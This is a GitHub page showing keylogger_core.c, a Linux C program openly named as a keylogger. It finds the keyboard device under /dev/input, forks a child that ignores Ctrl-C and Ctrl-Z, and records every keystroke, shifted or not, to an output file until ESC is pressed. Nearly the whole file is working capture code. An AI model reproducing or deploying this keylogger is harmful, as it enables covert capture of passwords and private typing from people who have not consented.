-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathkeylogger_core.c
More file actions
143 lines (135 loc) · 5.34 KB
/
keylogger_core.c
File metadata and controls
143 lines (135 loc) · 5.34 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <linux/input.h>
#include <fcntl.h>
#include <signal.h>
#include <dirent.h>
#define MAXLINE 8192
static const char keycodes[120][MAXLINE] =
{
"RESERVED", "ESC", "1", "2", "3", "4", "5", "6", "7", "8", "9", "0",
"-", "=", "BACKSPACE", "TAB", "q", "w", "e", "r", "t", "y", "u", "i",
"o", "p", "[", "]", "ENTER", "L_CTRL", "a", "s", "d", "f", "g", "h",
"j", "k", "l", ";", "'", "`", "L_SHIFT", "\\", "z", "x", "c", "v", "b",
"n", "m", ",", ".", "/", "R_SHIFT", "*", "L_ALT", "SPACE", "CAPS_LOCK",
"F1", "F2", "F3", "F4", "F5", "F6", "F7", "F8", "F9", "F10", "NUM_LOCK",
"SCROLL_LOCK", "NL_7", "NL_8", "NL_9", "-", "NL_4", "NL5",
"NL_6", "+", "NL_1", "NL_2", "NL_3", "INS", "DEL", "UNKNOWN", "UNKNOWN", "UNKNOWN",
"F11", "F12", "UNKNOWN", "UNKNOWN", "UNKNOWN", "UNKNOWN", "UNKNOWN", "UNKNOWN", "UNKNOWN", "R_ENTER", "R_CTRL", "/",
"PRT_SCR", "R_ALT", "UNKNOWN", "HOME", "UP", "PAGE_UP", "LEFT", "RIGHT", "END",
"DOWN", "PAGE_DOWN", "INSERT", "DELETE", "UNKNOWN", "UNKNOWN", "UNKNOWN", "UNKNOWN", "UNKNOWN", "UNKNOWN", "UNKNOWN",
"PAUSE"};
static const char shifted_keycodes[120][MAXLINE] =
{
"RESERVED", "ESC", "!", "@", "#", "$", "%%", "^", "&", "*", "(", ")",
"_", "+", "BACKSPACE", "TAB", "Q", "W", "E", "R", "T", "Y", "U", "I",
"O", "P", "{", "}", "ENTER", "L_CTRL", "A", "S", "D", "F", "G", "H",
"J", "K", "L", ":", "\"", "~", "L_SHIFT", "|", "Z", "X", "C", "V", "B",
"N", "M", "<", ">", "?", "R_SHIFT", "*", "L_ALT", "SPACE", "CAPS_LOCK",
"F1", "F2", "F3", "F4", "F5", "F6", "F7", "F8", "F9", "F10", "NUM_LOCK",
"SCROLL_LOCK", "HOME", "UP", "PGUP", "-", "LEFT", "NL_5",
"R_ARROW", "+", "END", "DOWN", "PGDN", "INS", "DEL", "UNKNOWN", "UNKNOWN", "UNKNOWN",
"F11", "F12", "UNKNOWN", "UNKNOWN", "UNKNOWN", "UNKNOWN", "UNKNOWN", "UNKNOWN", "UNKNOWN", "R_ENTER", "R_CTRL", "/",
"PRT_SCR", "R_ALT", "UNKNOWN", "HOME", "UP", "PAGE_UP", "LEFT", "RIGHT", "END",
"DOWN", "PAGE_DOWN", "INSERT", "DELETE", "UNKNOWN", "UNKNOWN", "UNKNOWN", "UNKNOWN", "UNKNOWN", "UNKNOWN", "UNKNOWN",
"PAUSE"};
void get_keyboard_file(char *kbdfile)
{
DIR *d;
struct dirent *dir;
char buffer[8000];
char dr[] = "/dev/input/by-path/";
d = opendir(dr);
if (d)
{
while ((dir = readdir(d)) != NULL)
{
if (strstr(dir->d_name, "kbd"))
{
snprintf(buffer, 8000, "%s%s", dr, dir->d_name);
printf("\nFound keyboard file:%s\n", buffer);
strcpy(kbdfile, buffer);
break;
}
}
closedir(d);
}
}
void writer(int output_fd, const char *strToWrite)
{
int written = 0;
int toWrite = strlen(strToWrite);
do
{
written = write(output_fd, strToWrite, toWrite);
if (written == -1)
{
return;
}
toWrite -= written;
strToWrite += written;
} while (toWrite > 0);
}
void keylogger(int output_fd)
{
char KEYBOARD_DEV_FILE[100];
get_keyboard_file(KEYBOARD_DEV_FILE);
char buf[MAXLINE];
if (!fork())
{
signal(SIGINT, SIG_IGN);
signal(SIGTSTP, SIG_IGN);
int key_dev_fd, shift = 0, bRead;
struct input_event event[100];
if ((key_dev_fd = open(KEYBOARD_DEV_FILE, O_RDONLY)) < 0)
{
printf("\nUnable access keyboard device file! Might require SU access...\n");
exit(1);
}
while (1)
{
bRead = read(key_dev_fd, event, sizeof(struct input_event) * 100);
for (size_t i = 0; i < (bRead / sizeof(struct input_event)); i++)
{
if (event[i].type == EV_KEY && event[i].value == 1)
{
if (event[i].code == KEY_ESC)
{
close(key_dev_fd);
close(output_fd);
return;
}
if ((event[i].code == KEY_LEFTSHIFT) || (event[i].code == KEY_RIGHTSHIFT))
{
shift = event[i].code;
}
if (shift && !((event[i].code == KEY_LEFTSHIFT) || (event[i].code == KEY_RIGHTSHIFT)))
{
strncpy(buf, shifted_keycodes[event[i].code], strlen(shifted_keycodes[event[i].code]) + 1);
writer(output_fd, buf);
writer(output_fd, "\n");
}
if (!shift && !((event[i].code == KEY_LEFTSHIFT) || (event[i].code == KEY_RIGHTSHIFT)))
{
strncpy(buf, keycodes[event[i].code], strlen(keycodes[event[i].code]) + 1);
writer(output_fd, buf);
writer(output_fd, "\n");
}
}
else
{
if (event[i].type == EV_KEY && event[i].value == 0)
{
if ((event[i].code == KEY_LEFTSHIFT) || (event[i].code == KEY_RIGHTSHIFT))
{
shift = 0;
}
}
}
}
}
}
}